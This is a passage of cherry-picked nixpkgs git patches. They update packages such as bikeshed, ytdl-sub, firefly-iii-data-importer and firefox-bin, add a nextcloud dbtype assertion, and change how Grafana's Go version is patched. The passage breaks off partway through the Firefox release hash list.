Date: Thu, 12 Jun 2025 09:39:18 +0200
Subject: [PATCH 2032/4511] bikeshed: Add matthiasbeyer as maintainer
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This was done upon their request

Suggested-by: Matthias Beyer <mail@beyermatthias.de>
Signed-off-by: Marcel Müller <neikos@neikos.email>
(cherry picked from commit c7d59fc1c25e3dee23cdcbe0a61d7f7477f70f21)
---
 pkgs/applications/misc/bikeshed/default.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/applications/misc/bikeshed/default.nix b/pkgs/applications/misc/bikeshed/default.nix
index f1fef08b3175..9514ee112bdf 100644
--- a/pkgs/applications/misc/bikeshed/default.nix
+++ b/pkgs/applications/misc/bikeshed/default.nix
@@ -102,6 +102,9 @@ buildPythonApplication rec {
     '';
     homepage = "https://tabatkins.github.io/bikeshed/";
     license = licenses.cc0;
-    maintainers = with lib.maintainers; [ hemera ];
+    maintainers = with lib.maintainers; [
+      matthiasbeyer
+      hemera
+    ];
   };
 }

From 573040ed9c88ea1322e38d9627ca0fddbc8b2d5c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marcel=20M=C3=BCller?= <neikos@neikos.email>
Date: Fri, 6 Jun 2025 16:01:27 +0200
Subject: [PATCH 2033/4511] bikeshed: 5.1.2 -> 5.2.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Marcel Müller <neikos@neikos.email>
(cherry picked from commit 668cd63c855b2843c98e5ad0336aa9f98326d53e)
---
 pkgs/applications/misc/bikeshed/default.nix | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/misc/bikeshed/default.nix b/pkgs/applications/misc/bikeshed/default.nix
index 9514ee112bdf..f73b02f01968 100644
--- a/pkgs/applications/misc/bikeshed/default.nix
+++ b/pkgs/applications/misc/bikeshed/default.nix
@@ -10,6 +10,7 @@
   alive-progress,
   async-timeout,
   attrs,
+  cddlparser,
   certifi,
   charset-normalizer,
   cssselect,
@@ -38,12 +39,12 @@
 
 buildPythonApplication rec {
   pname = "bikeshed";
-  version = "5.1.2";
+  version = "5.2.0";
   pyproject = true;
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-QIADVcxgJreH2pvXRVIBE5p6nEEYZtTiSo00RrpFT+E=";
+    hash = "sha256-HUPkLEpwLRnrffUMN62WPqsZX2UsGqPfjEa91UMbUMM=";
   };
 
   build-system = [ setuptools ];
@@ -58,6 +59,7 @@ buildPythonApplication rec {
     alive-progress
     async-timeout
     attrs
+    cddlparser
     certifi
     charset-normalizer
     cssselect

From b10a16e6f59427c3211b814fb1be9d93c897e0c5 Mon Sep 17 00:00:00 2001
From: Matthias Beyer <mail@beyermatthias.de>
Date: Thu, 12 Jun 2025 09:52:49 +0200
Subject: [PATCH 2034/4511] bikeshed: migrate to by-name

Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
(cherry picked from commit aeadb01a59bd572e87954bce26b1e178f8ce67d5)
---
 .../bi/bikeshed/package.nix}                  | 41 ++-----------------
 pkgs/top-level/all-packages.nix               |  2 -
 2 files changed, 4 insertions(+), 39 deletions(-)
 rename pkgs/{applications/misc/bikeshed/default.nix => by-name/bi/bikeshed/package.nix} (74%)

diff --git a/pkgs/applications/misc/bikeshed/default.nix b/pkgs/by-name/bi/bikeshed/package.nix
similarity index 74%
rename from pkgs/applications/misc/bikeshed/default.nix
rename to pkgs/by-name/bi/bikeshed/package.nix
index f73b02f01968..41e9b1ffaaa6 100644
--- a/pkgs/applications/misc/bikeshed/default.nix
+++ b/pkgs/by-name/bi/bikeshed/package.nix
@@ -1,43 +1,10 @@
 {
   lib,
-  buildPythonApplication,
   fetchPypi,
-  # build inputs
-  about-time,
-  aiofiles,
-  aiohttp,
-  aiosignal,
-  alive-progress,
-  async-timeout,
-  attrs,
-  cddlparser,
-  certifi,
-  charset-normalizer,
-  cssselect,
-  frozenlist,
-  html5lib,
-  idna,
-  isodate,
-  json-home-client,
-  kdl-py,
-  lxml,
-  multidict,
-  pillow,
-  pygments,
-  requests,
-  result,
-  setuptools,
-  six,
-  tenacity,
-  typing-extensions,
-  uri-template,
-  urllib3,
-  webencodings,
-  widlparser,
-  yarl,
+  python3Packages,
 }:
 
-buildPythonApplication rec {
+python3Packages.buildPythonApplication rec {
   pname = "bikeshed";
   version = "5.2.0";
   pyproject = true;
@@ -47,11 +14,11 @@ buildPythonApplication rec {
     hash = "sha256-HUPkLEpwLRnrffUMN62WPqsZX2UsGqPfjEa91UMbUMM=";
   };
 
-  build-system = [ setuptools ];
+  build-system = [ python3Packages.setuptools ];
 
   pythonRelaxDeps = true;
 
-  dependencies = [
+  dependencies = with python3Packages; [
     about-time
     aiofiles
     aiohttp
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index ab4e819c42bf..8f8741c9bdf9 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -1075,8 +1075,6 @@ with pkgs;
 
   auditwheel = with python3Packages; toPythonApplication auditwheel;
 
-  bikeshed = python3Packages.callPackage ../applications/misc/bikeshed { };
-
   davinci-resolve-studio = callPackage ../by-name/da/davinci-resolve/package.nix {
     studioVariant = true;
   };

From 16d0024e89e0dde977911f999d99673e39b3efab Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 12 Jun 2025 23:26:38 +0000
Subject: [PATCH 2035/4511] bikeshed: 5.2.0 -> 5.2.1

(cherry picked from commit 8e002d6fb584395573c5a1b1f54b9292e6c27f93)
---
 pkgs/by-name/bi/bikeshed/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bi/bikeshed/package.nix b/pkgs/by-name/bi/bikeshed/package.nix
index 41e9b1ffaaa6..778f7ce47655 100644
--- a/pkgs/by-name/bi/bikeshed/package.nix
+++ b/pkgs/by-name/bi/bikeshed/package.nix
@@ -6,12 +6,12 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "bikeshed";
-  version = "5.2.0";
+  version = "5.2.1";
   pyproject = true;
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-HUPkLEpwLRnrffUMN62WPqsZX2UsGqPfjEa91UMbUMM=";
+    hash = "sha256-EMWIHtIomiq7BvnG6x0+gJeSkouWpZzcnqys5mSM7aI=";
   };
 
   build-system = [ python3Packages.setuptools ];

From 70b8197cfbb5b6012aff07eabc4fae02342f5b0c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 2 Jul 2025 05:19:01 +0000
Subject: [PATCH 2036/4511] bikeshed: 5.2.1 -> 5.3.2

(cherry picked from commit 099f576bcaa7e92ca35dd4ef9306e1b20d91ebb2)
---
 pkgs/by-name/bi/bikeshed/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bi/bikeshed/package.nix b/pkgs/by-name/bi/bikeshed/package.nix
index 778f7ce47655..934393647bef 100644
--- a/pkgs/by-name/bi/bikeshed/package.nix
+++ b/pkgs/by-name/bi/bikeshed/package.nix
@@ -6,12 +6,12 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "bikeshed";
-  version = "5.2.1";
+  version = "5.3.2";
   pyproject = true;
 
   src = fetchPypi {
     inherit pname version;
-    hash = "sha256-EMWIHtIomiq7BvnG6x0+gJeSkouWpZzcnqys5mSM7aI=";
+    hash = "sha256-+TY26g685eIMXUjTG876r9gryg/tR6EtMGWAhk2kkis=";
   };
 
   build-system = [ python3Packages.setuptools ];

From 96e36ec7dd1320a96641c764cd5a830b886f3160 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 27 Jun 2025 17:53:15 +0000
Subject: [PATCH 2037/4511] ytdl-sub: 2025.06.19.post1 -> 2025.06.27

(cherry picked from commit 9b663a69c21f44b007c11d8b048e180a2b3bb050)
---
 pkgs/by-name/yt/ytdl-sub/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/yt/ytdl-sub/package.nix b/pkgs/by-name/yt/ytdl-sub/package.nix
index 25306411197b..4fc9d28bdea4 100644
--- a/pkgs/by-name/yt/ytdl-sub/package.nix
+++ b/pkgs/by-name/yt/ytdl-sub/package.nix
@@ -8,14 +8,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "ytdl-sub";
-  version = "2025.06.19.post1";
+  version = "2025.06.27";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "jmbannon";
     repo = "ytdl-sub";
     tag = version;
-    hash = "sha256-aZ7LzpOZgI9KUt0aWMdzVH299O83d3zPxldRKZvwO8I=";
+    hash = "sha256-Ub5ITm30hZHWSMKFD7TX4z1GBQ0fU+cMqWRt2AVbGoI=";
   };
 
   postPatch = ''

From 6c2e6964fbc078cc32c4d42cd2ad7b6f97ec928e Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 4 Jul 2025 23:10:45 +0000
Subject: [PATCH 2038/4511] ytdl-sub: 2025.06.27 -> 2025.07.04

Changelog: https://github.com/jmbannon/ytdl-sub/releases/tag/2025.07.04
Diff: https://github.com/jmbannon/ytdl-sub/compare/2025.06.27...2025.07.04
(cherry picked from commit 82d3b713efcc1690393454b7984d967d39b58a11)
---
 pkgs/by-name/yt/ytdl-sub/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/yt/ytdl-sub/package.nix b/pkgs/by-name/yt/ytdl-sub/package.nix
index 4fc9d28bdea4..1332029d60ea 100644
--- a/pkgs/by-name/yt/ytdl-sub/package.nix
+++ b/pkgs/by-name/yt/ytdl-sub/package.nix
@@ -8,14 +8,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "ytdl-sub";
-  version = "2025.06.27";
+  version = "2025.07.04";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "jmbannon";
     repo = "ytdl-sub";
     tag = version;
-    hash = "sha256-Ub5ITm30hZHWSMKFD7TX4z1GBQ0fU+cMqWRt2AVbGoI=";
+    hash = "sha256-aVI/OY1Dh5LvbDyg+GuWBz2e6oUgTzErqfnow22v8CI=";
   };
 
   postPatch = ''

From b550d90a419a4318acaa9c30d807dc59cfdb6c07 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 4 Jul 2025 21:51:21 +0000
Subject: [PATCH 2039/4511] firefly-iii-data-importer: 1.6.3 -> 1.7.3

(cherry picked from commit 03a522501f70337e43d11de9766b1d93a3bb1394)
---
 pkgs/by-name/fi/firefly-iii-data-importer/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/fi/firefly-iii-data-importer/package.nix b/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
index 3f5dbe669942..381408cd8e5d 100644
--- a/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
+++ b/pkgs/by-name/fi/firefly-iii-data-importer/package.nix
@@ -13,13 +13,13 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "firefly-iii-data-importer";
-  version = "1.6.3";
+  version = "1.7.3";
 
   src = fetchFromGitHub {
     owner = "firefly-iii";
     repo = "data-importer";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-+e5UtnK/eiFnmvtKjVp3EZ8JLi+dWnJ+vgjDJKRLqH8=";
+    hash = "sha256-CUotqHmVXKKkbAS4a7YWoVjs1GRhxrA5Y5rXtMx/mCo=";
   };
 
   buildInputs = [ php84 ];
@@ -38,12 +38,12 @@ stdenvNoCC.mkDerivation (finalAttrs: {
   composerStrictValidation = true;
   strictDeps = true;
 
-  vendorHash = "sha256-ExHT4kRyyp4c7vGqUN7hbP8pScvto/qp81oDjZGBJis=";
+  vendorHash = "sha256-JN9HaX056+AhYkMyZ7KO7c6z43ynbRyORAOvW+6eVO8=";
 
   npmDeps = fetchNpmDeps {
     inherit (finalAttrs) src;
     name = "${finalAttrs.pname}-npm-deps";
-    hash = "sha256-i+Ytv8uLSrdLPC04BfZbRXRA7jmy1IX4nYW5WRZubCY=";
+    hash = "sha256-0vMxwm6NOdhCQcVeO93QNGB1BlqVckXzHkpCVvDB9ms=";
   };
 
   composerRepository = php84.mkComposerRepository {

From f015b0cc5a16d38a8f79d6f65262c1a0da90af86 Mon Sep 17 00:00:00 2001
From: Dominique Martinet <asmadeus@codewreck.org>
Date: Fri, 4 Jul 2025 23:35:51 +0900
Subject: [PATCH 2040/4511] nixos/nextcloud: add assertion explaining to set
 dbtype

Since 25.05 dbtype no longer defaults to sqlite and this yields an error
that is understandable enough but not easy to properly address.

Add an assert that is more explicit.

Before:
```
       error: The option `nodes.nextcloud.services.nextcloud.config.dbtype' was accessed but has no value defined. Try setting the option.
```

After:
```
       error:
       Failed assertions:
       - `services.nextcloud.config.dbtype` must be set explicitly (pgsql, mysql, or sqlite)

       Before 25.05, it used to default to sqlite but that is not recommended by upstream.
       Either set it to sqlite as it used to be, or convert to another type as described
       in the official db conversion page:
       https://docs.nextcloud.com/server/latest/admin_manual/configuration_database/db_conversion.html
```

Link: https://github.com/NixOS/nixpkgs/pull/369242#issuecomment-3036296243
(cherry picked from commit 78a20758e004fd9d7394250efe406f1a86d13c11)
---
 nixos/modules/services/web-apps/nextcloud.nix | 24 +++++++++++++++----
 1 file changed, 19 insertions(+), 5 deletions(-)

diff --git a/nixos/modules/services/web-apps/nextcloud.nix b/nixos/modules/services/web-apps/nextcloud.nix
index af698b0d8358..505501ba1fa8 100644
--- a/nixos/modules/services/web-apps/nextcloud.nix
+++ b/nixos/modules/services/web-apps/nextcloud.nix
@@ -584,11 +584,14 @@ in
 
     config = {
       dbtype = mkOption {
-        type = types.enum [
-          "sqlite"
-          "pgsql"
-          "mysql"
-        ];
+        type = types.nullOr (
+          types.enum [
+            "sqlite"
+            "pgsql"
+            "mysql"
+          ]
+        );
+        default = null;
         description = "Database type.";
       };
       dbname = mkOption {
@@ -1093,6 +1096,17 @@ in
             instead of password.
           '';
         }
+        {
+          assertion = cfg.config.dbtype != null;
+          message = ''
+            `services.nextcloud.config.dbtype` must be set explicitly (pgsql, mysql, or sqlite)
+
+            Before 25.05, it used to default to sqlite but that is not recommended by upstream.
+            Either set it to sqlite as it used to be, or convert to another type as described
+            in the official db conversion page:
+            https://docs.nextcloud.com/server/latest/admin_manual/configuration_database/db_conversion.html
+          '';
+        }
       ];
     }
 

From 4b938b53da173f57048391d205929e388075a618 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Thu, 3 Jul 2025 18:26:24 +0200
Subject: [PATCH 2041/4511] grafana: change convention on Go version changes

Grafana sets the min version to the latest Go patch-level, but on ~every
other release it happens that we're a little bit behind and then the
build fails, so I don't remove the technically dead-code just to pull it
out of history next time.

The problem is that stable may be a little behind with Go and then the
backport will fail. So from now on we just use the `.0` release of the
minor we need to prevent that.

If the minor isn't on stable yet, we need a manual backport anyways.

(cherry picked from commit dd4e9bdc17dd9fd88815008f36348099dd6c3dd1)
---
 pkgs/servers/monitoring/grafana/default.nix | 17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

diff --git a/pkgs/servers/monitoring/grafana/default.nix b/pkgs/servers/monitoring/grafana/default.nix
index c09d56a5b277..4cb2f21ece02 100644
--- a/pkgs/servers/monitoring/grafana/default.nix
+++ b/pkgs/servers/monitoring/grafana/default.nix
@@ -19,24 +19,23 @@
 let
   # Grafana seems to just set it to the latest version available
   # nowadays.
-  # NOTE: sometimes, this is a no-op (i.e. `--replace-fail "X" "X"`).
-  # This is because Grafana raises the Go version above the patch-level we have
-  # on master if a security fix landed in Go (and our go may go through staging first).
+  # NOTE: I(Ma27) leave this in, even if it's technically dead code because
+  # it doesn't make sense to pull this out of the history on every other release.
   #
-  # I(Ma27) decided to leave the code a no-op if this is not the case because
-  # pulling it out of the Git history every few months and checking which files
-  # we need to update now is slightly annoying.
+  # Please make sure to always set a Go version to `.0`: it may happen that
+  # stable is on an older patch-release of Go and then the build would fail
+  # after a backport.
   patchGoVersion = ''
     find . -name go.mod -not -path "./.bingo/*" -print0 | while IFS= read -r -d ''' line; do
       substituteInPlace "$line" \
-        --replace-fail "go 1.24.4" "go 1.24.3"
+        --replace-fail "go 1.24.4" "go 1.24.0"
     done
     find . -name go.work -print0 | while IFS= read -r -d ''' line; do
       substituteInPlace "$line" \
-        --replace-fail "go 1.24.4" "go 1.24.3"
+        --replace-fail "go 1.24.4" "go 1.24.0"
     done
     substituteInPlace Makefile \
-      --replace-fail "GO_VERSION = 1.24.4" "GO_VERSION = 1.24.3"
+      --replace-fail "GO_VERSION = 1.24.4" "GO_VERSION = 1.24.0"
   '';
 in
 buildGoModule rec {

From fc5ba35fb323d6961fe7bd2c1351b601438000cc Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 4 Jul 2025 20:17:48 +0000
Subject: [PATCH 2042/4511] firefox-bin-unwrapped: 140.0.1 -> 140.0.2

(cherry picked from commit 89dc11eb5749ec8c2f9ae57016e5a4a6b43126ef)
---
 .../browsers/firefox-bin/release_sources.nix  | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
index a12264e8ed42..78943a86d577 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "140.0.1";
+  version = "140.0.2";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ach/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ach/firefox-140.0.2.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "8ef64f67276d32d6b01cd23b5eeda6e581604d989ab34c85764ff1dcf9a316b6";
+      sha256 = "e2c227089de992da5a02f95b106e5294a02ed4d25fc8de2bec09f6b71e97d66c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/af/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/af/firefox-140.0.2.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "552e8ae034fa2d4cadc6c01807509cdba447a5d2e31840d88c54beec62d9db55";
+      sha256 = "cf761d0ce70f84f5d58ee6258aac4a71abeaba884bb5270cdc66f63f3a232f08";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/an/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/an/firefox-140.0.2.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "7b5cb58a4dcc2cc7a3b6b3156add00887b3f681099097c6e5e4642798185e4e0";
+      sha256 = "45376e155b125ad03b2d5c021d03a688271a267f2f454e46665d587661066b86";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ar/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ar/firefox-140.0.2.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "faf25b77c9f867a020bf3fe6c2152c369d7de049ff87d2110a93a0fa3db429ee";
+      sha256 = "76311912ed9617e6268d07b4f966f569474c6e4afaa45ecbf41d46635d3bf61d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ast/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ast/firefox-140.0.2.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "8e6ad43e36c7bc94e3d519af5d6eba1750c6b8f6e0ce412b3da32bc6194970ef";
+      sha256 = "cddb8708c58ea8ede3144fbbe5d5ac75f6b31b7b458214e8861ada75ea8b71f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/az/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/az/firefox-140.0.2.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "8a67b4336797398e0a7621721c9c850b3c819a572b51366079cad420fa7417a0";
+      sha256 = "f302ae54f3505e58140cdc5e08ed11ceda66cbcbcc2c02121571dd43e841e5dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/be/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/be/firefox-140.0.2.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "f1bb0ee9fa8f89e653cc0390d299fde2298483ac8e5afdff2ed50d2c3ff4a5b3";
+      sha256 = "29bd46023ff9ec1e5e24a017290e58bf40ba0e653dfd6c90fe8cd1d902ec442c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/bg/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/bg/firefox-140.0.2.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "1e21255e0be3534ce96a2517a3e8a7ed9950e3dbec0df75c3a4fdba53498ba34";
+      sha256 = "4cc5d8b67eb7db41f12d8499fcb93599f15239d9b39356e7e79a6d6938978ed6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/bn/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/bn/firefox-140.0.2.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "a282ade373181e2f5194d2c94c67302c8db5d3b89978c188a6a543d711243a36";
+      sha256 = "4d03e63d210bee0966f276a1a52838fb79996279d60678848085b530d78851f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/br/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/br/firefox-140.0.2.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "09dbc962aec54d7083335d83f5db1c2b08e726f3026ae679a0915f1402f20299";
+      sha256 = "e6e28d37de7390c89cc4bdbb5e509f9897c27453d233c07ed4fac38780d06e0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/bs/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/bs/firefox-140.0.2.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "cf5f5b7560d8dcbce6c317d662f254b7e0478917548072d528ae5e6bdd12a0b9";
+      sha256 = "82f9d85725ff479487fbad5dd214e4cef6ac768925d0a3d9f752d4b0e675568d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ca-valencia/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ca-valencia/firefox-140.0.2.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "0b2bd97f19997f63575ac317ccaf69f6ae1268f41948c6e5db10301e815f0c2d";
+      sha256 = "3bac8a3d6d84a156d77b0f418df20f462a4fc7d6df4683b76ce8c09d66a2c21e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/ca/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/ca/firefox-140.0.2.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "02d193e332879d15942af62028c41bb5d619294c891aa1809b367290723e483e";
+      sha256 = "7e7bf5b13622d91d6c7cd0fb2ce192ac65a2c3e85f6fa7d0f46cdcdbb10ef6a5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/cak/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/cak/firefox-140.0.2.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "dea8e78ac7f974a518501018f5b65589174e2b2022a3565d07f60d40ae6a6e32";
+      sha256 = "fde5d16b04bbfa8a873203b54076173b453d93b7ae72602fac3a2798d83f69d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/cs/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/cs/firefox-140.0.2.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "023feb54600698fba0b645c08532049812a77f295f57df423c3c375275a53df9";
+      sha256 = "e24c51758acba74028dcb3eed2b09d622c5d5b9ad8ca1eaf7c66fcf9ab435558";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/cy/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/cy/firefox-140.0.2.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "d80467e6f37cb62a93060edab55ccb6af0b5e6df247e00f5365ca30331ec152e";
+      sha256 = "8f9fda9a85a8bf1e33b78a6e41933668503b48a916cab51898302abe57fe1405";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/da/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/da/firefox-140.0.2.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "292833cf4fc5f527f9f8da14a5d7b7591d2cc4d397b5cb852f2ae24b0b704070";
+      sha256 = "fb3963cc112476ae647891d0b7e7d2d6c126d2a608fc91256bcabe685b3c6341";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/de/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/de/firefox-140.0.2.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "5465c773bdc150550eaa26ab744e7b20cfd3ca21f4b1fa004c0627e6ecf14e35";
+      sha256 = "165b4935290667d625e3083faa737ac9bef173e7c8d3811226ec9249e9bef3b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/dsb/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/dsb/firefox-140.0.2.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "7da9669d9acf0fdbf52efdac2d3d68ab9fdc584193f375e98bd1712908fe076e";
+      sha256 = "af8eb29899fb648dad7c5089371351241a58644879a8973a8c9a96c114c23d5f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/el/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/el/firefox-140.0.2.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "97e3cc3ade43ba391039d6de207cbff29e8cc128778499f3c0e7e610d2a363f8";
+      sha256 = "68a52eee4300145740575fadc8e0c82858ea7f7e021381e8467f72cfc80377a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/en-CA/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/en-CA/firefox-140.0.2.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "8aef0f633616cb2d341da8b6a1dabe9c391cccab128d051708c5038ed4ae2de4";
+      sha256 = "50896768c02b17501256c3289a346ed5d7874332dcf14e14390c2e6d20ce3357";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/en-GB/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/en-GB/firefox-140.0.2.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "e9dea70cec907d2633203d696da7c13f169510ba11e3b8627c4fec6b2c5e8dec";
+      sha256 = "a56a4df541984469906050eaa1a2585bb4b31db183f452bf8f57f78e13026757";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/en-US/firefox-140.0.1.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/linux-x86_64/en-US/firefox-140.0.2.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "81596b5061753e1524a3aa41512aee667ec34eac24abd52cd919c759a90a2a60";
+      sha256 = "0de987e3065409d7feeba28e8b9c59c8270b917a293c140a5423579c7e70f8ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/linux-x86_64/eo/firefox-140.0.1.tar.xz";
